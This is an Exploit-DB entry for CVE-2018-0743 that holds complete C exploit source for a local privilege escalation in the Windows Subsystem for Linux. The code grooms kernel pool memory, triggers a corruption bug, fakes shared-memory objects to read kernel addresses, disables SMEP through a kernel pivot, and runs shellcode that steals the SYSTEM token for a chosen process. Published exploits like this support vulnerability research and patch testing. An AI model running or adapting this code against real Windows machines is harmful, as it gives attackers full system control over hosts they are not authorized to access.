Microsoft Windows Subsystem for Linux - Privilege Escalation

EDB-ID: 43962
Author: Saar Amar
Published: 2018-02-02
CVE: CVE-2018-0743
Type: Local
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Local
Vulnerable App: N/A

  
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>

#define RING_SIZE 0x2000000
#define PIPE_SIZE 0xb8
#define PTR_SIZE 0x8
#define STR_HDR_SIZE 0x18

#define LEAK_OFFSET 0x68
#define SHELLCODE_OFFSET 0x200
#define CHUNK_LVXF_OFFSET 0x138f4296
#define CR4_VAL_ADDR 0x506f8
#define MAGIC_KEY 0xefef
#define NT_OFFSET_TO_PIVOT 0x288005

size_t curr_key = 0;

char SHELLCODE[] = {
//0xcc,
0x90, // CLI
0x90, // PUSHFQ
0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer
0x50, // PUSH RAX
0x51, // PUSH RCX
0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset]
0x90, 0x90, 0x90, // MOV QWORD PTR [RCX], RAX
0xb9, 0xfc, 0x11, 0x00, 0x00, // MOV ECX, PID

0x53, // PUSH RBX

0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOV RAX,QWORD PTR gs:0x188
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR [RAX+0xb8] EPROCESS
0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00, // LEA RAX,[RAX+0xActiveProcessLinkOffset]

//<tag>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID
0x48, 0x83, 0xfb, 0x04, // CMP RBX,0x4
0x75, 0xf3, // JNE <tag>
0x48, 0x8b, 0x58, 0x70, // MOV RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM
0x90, 0x90, 0x90,
0x53, // PUSH RBX
//<tag2>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-8] // UniqueProcessID
0x39, 0xcb, // CMP EBX, ECX // our PID
0x75, 0xf5, // JNE <tag2>
0x5b, // POP RBX
0x48, 0x89, 0x58, 0x70, // MOV QWORD PTR[RAX +0x70], RBX
0x90, 0x90, 0x90,

0x5b, // POP RBX
0x59, // POP RCX
0x58, // POP RAX
0x90, // POPFQ

0xc3 // RET
};

int calc_stop_idx(size_t alloc_size, size_t factor);
int get_size_factor(size_t spray_size, size_t *factor);
int trigger_corruption(int spray_size);
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx);
int spray(size_t count);
int alloc_sem(size_t factor);
int free_sem(int key);
char *get_faked_shm();
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid);
void trigger_shm(size_t shmid);
void print_shm(struct shmid_ds *buf);
void *absolute_read(void* obj, size_t shmid, void *addr);
int alloc_shm(size_t key);
int shape(size_t *spray_size);

int calc_stop_idx(size_t alloc_size, size_t factor) {
size_t totalStringsLength, headersLength;

totalStringsLength = (factor - 1) * 2 + 0xd001;
headersLength = (factor * STR_HDR_SIZE) % (0x100000000);

return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE;
}

int get_size_factor(size_t spray_size, size_t *factor) {
if (spray_size != 0x2000000) {
printf("SPRAY_SIZE ISSUE\n");
exit(1);
}

*factor = 0xab13aff - 0x800*2;
return 0x15fffdfc;
}

int trigger_corruption(int spray_size) {
size_t factor = 0, alloc_size, stopIdx;
int ret;
alloc_size = get_size_factor(spray_size, &factor);
if (alloc_size < 0) {
printf("[*err*] unsupported spray_size == 0x%x", spray_size);
return -1;
}

stopIdx = calc_stop_idx(alloc_size, factor);

ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx);
printf("[*] trigger_corruption() returned 0x%x\n", ret);
return 0;
}

int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) {
char **argv, *innerBuf, *stopInnerBuf = NULL;
size_t pid;

argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(!argv) {
perror("[*err*] malloc argv failed\n");
return -1;
}

innerBuf = (char*)malloc(innerSize);
if (!innerBuf) {
printf("[*err*] malloc innerBuf failed\n");
return -1;
}
memset(innerBuf, pattern, innerSize);

for(size_t i = 0; i < argc - 1; ++i) {
argv[i] = innerBuf;
}
argv[argc-1] = NULL;

pid = fork();
if (pid) {
// parent
if(stopIdx > 0) {
sleep(1.5);
printf("[*] set stopIdx, stopping wildcopy\n");
argv[stopIdx] = NULL;
}
return 0;
} else {
// son
argv[stopIdx - 1] = (char*)malloc(0xe000);
memset(argv[stopIdx - 1], "X", 0xd000-1);
argv[stopIdx - 1][0xd000-1] = '\0';

argv[stopIdx - 7] = (char*)malloc(0xe000);
memset(argv[stopIdx - 7], "X", 0xd000-1);
argv[stopIdx - 7][0xd000-1] = '\0';

// this execve is on nonsense "program", so it will return err.
// Just kill the thread.
execve(argv[0], argv, NULL);
exit(1);
}
}

/*
spray <count> chunks, and return number of total bytes allocated
*/
int spray(size_t count) {
int exec[2];
int pipe_capacity = 0, ret = 0;

for (size_t i = 0; i < count; ++i) {
if (pipe(exec) < 0) {
printf("[*err*] pipe\n");
ret = -1;
goto cleanup;
}

pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE);
if(pipe_capacity < 0) {
printf("[*err*] fcntl return neg capacity\n");
ret = -1;
goto cleanup;
}

ret += pipe_capacity;
}

cleanup:
return ret;
}

/*
allocate 12 * v_nsems + 176
*/
int alloc_sem(size_t factor) {
int semid;
int nsems = factor;

semid = semget(curr_key++, nsems, IPC_CREAT | 0666);
if(semid == -1) {
printf("[*err*]semget failed, errno == 0x%x\n", errno);
return -1;
}

return semid;
}

int free_sem(int key) {
if(semctl(key, 0, IPC_RMID, 0) == -1) {
printf("[*err*] semctl failed, errno == 0x%x\n", errno);
return -1;
}
return 0;
}

char *get_faked_shm() {
size_t shellcode_length = 0;
char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
char *shellcode_ptr;

if (obj == (void*)-1) {
printf("[*err*] mmap failed\n");
return NULL;
}
char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0x0);
if (cr4_addr == (void*)-1) {
printf("[*err*] mmap failed\n");
return NULL;
}
memset(cr4_addr, 0x0, 0x10000);

printf("[*] mmap userspace addr %p, set faked shm object\n", obj);

obj += 0x1000;
shellcode_ptr = obj + 0x200;
initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1);
return obj;
}

void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) {
size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR;
char *obj2 = obj+0x1000;

memset(obj - 0x100, 0x0, 0x1000);

memcpy(obj, &read_addr, sizeof(size_t));
memcpy((obj+0x10), &val, sizeof(size_t));

memcpy(obj - 0x20, &val2, sizeof(size_t));
memcpy(obj - 0x68, &obj, sizeof(char*));
memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*));
memcpy(obj - 0x80, &obj, sizeof(char*));
memcpy((obj + 0x40), &val, sizeof(size_t));

memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t));
memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t));
memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*));
memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*));
memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*));
memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t));

memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t)); // refcount
memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t));
memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t));

memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE));
memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4);
}

void trigger_shm(size_t shmid) {
char *data;
data = shmat(shmid, (void*)0, 0);
}

void print_shm(struct shmid_ds *buf) {
printf ("\nThe USER ID = %p\n", buf->shm_perm.uid);
printf ("The GROUP ID = %p\n", buf->shm_perm.gid);
printf ("The creator's ID = %p\n", buf->shm_perm.cuid);
printf ("The creator's group ID = %p\n", buf->shm_perm.cgid);
printf ("The operation permissions = 0%o\n", buf->shm_perm.mode);
printf ("The slot usage sequence\n");
//printf ("number = 0%x\n", buf->shm_perm.seq);
//printf ("The key= 0%x\n", buf->shm_perm.key);
printf ("The segment size = %p\n", buf->shm_segsz);
printf ("The pid of last shmop = %p\n", buf->shm_lpid);
printf ("The pid of creator = %p\n", buf->shm_cpid);
printf ("The current # attached = %p\n", buf->shm_nattch);
printf("The last shmat time = %p\n", buf->shm_atime);
printf("The last shmdt time = %p\n", buf->shm_dtime);
printf("The last change time = %p\n", buf->shm_ctime);
}

void *absolute_read(void* obj, size_t shmid, void *addr) {
struct shmid_ds shm;
initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1);
shmctl(shmid, IPC_STAT, &shm);
return (void*)shm.shm_ctime;
}

int alloc_shm(size_t key) {
int shmid;
shmid = shmget(key, 1024, 0644 | IPC_CREAT);
return shmid;
}

int shape(size_t *spray_size) {
size_t keys[0x400];
int exec[2];
int sv[2];
char flag;

size_t bytes = 0, tofree = 0;
size_t factor,hole_size;
struct flock fl;
memset(&fl, 0, sizeof(fl));
pid_t pid, wpid;
int status;

if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
printf("[*err] socketpair failed\n");
return 1;
}

bytes = spray(1);
if (bytes == (size_t)-1) {
printf("[*err*] bytes < 0, are you root?\n");
return 1;
}

*spray_size = bytes;
hole_size = get_size_factor(*spray_size, &factor);

tofree = hole_size / (bytes / 1) + 1;

printf("[*] allocate holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
keys[i] = alloc_sem(0x7000);
}
for (int i = 0; i < 0x20; ++i) {
alloc_sem(0x7000);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(4063);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(3);
}

pid = fork();
if (pid > 0) {
printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
bytes = spray(5);
write(sv[1], "p", 1);
read(sv[1], &flag, 1);
} else {
// son
read(sv[0], &flag, 1);
printf("[*] alloc workspace pages\n");
bytes = spray(tofree);
printf("[*] finish allocate workspace allocations\n");
write(sv[0], "p", 1);
}

if (pid > 0) {
printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
for (int i = 0; i < 0x100; ++i) {
alloc_sem(4061);
for (int j = 0; j < 0x5; ++j) {
alloc_shm(i * 0x100 + j);
}
}
write(sv[1], "p", 1);
} else {
read(sv[0], &flag, 1);
printf("[*] free middle allocation, creating workspace freed\n");
exit(1);
}

while ((wpid = wait(&status)) > 0);

printf("[*] free prepared holes, create little pages holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
free_sem(keys[i]);
}

return 0;
}

int main(int argc, char **argv) {
size_t spray_size = 0;
char *obj;
void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler;
void *nt_addr;

obj = get_faked_shm();

printf("[*] start shaping\n");
if (shape(&spray_size)) {
printf("[*err*] shape failed, exit\n");
return 1;
}

// if there is some shm with shmid==0, delete it
shmctl(0, IPC_RMID, NULL);

printf("[*] shape is done\n");
if (trigger_corruption(spray_size) < 0) {
printf("[*err*] internal error\n");
return 1;
}

sleep(8);

printf("[*] leak shm, with the corrupted shmid\n");
paged_pool_addr = absolute_read(obj, 1, NULL);

printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr);
file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET);
printf("[*] infoleak - fileObj addr at %p\n", file_obj);
lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET);
printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr);
nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET);
printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler);

printf("[*] call nt pivot, disable SMEP\n");
initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1);
trigger_shm(MAGIC_KEY);

sleep(5);

printf("[*] jump to shellcode!\n");
initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1]));
trigger_shm(MAGIC_KEY);

sleep(2);

return 0;
}

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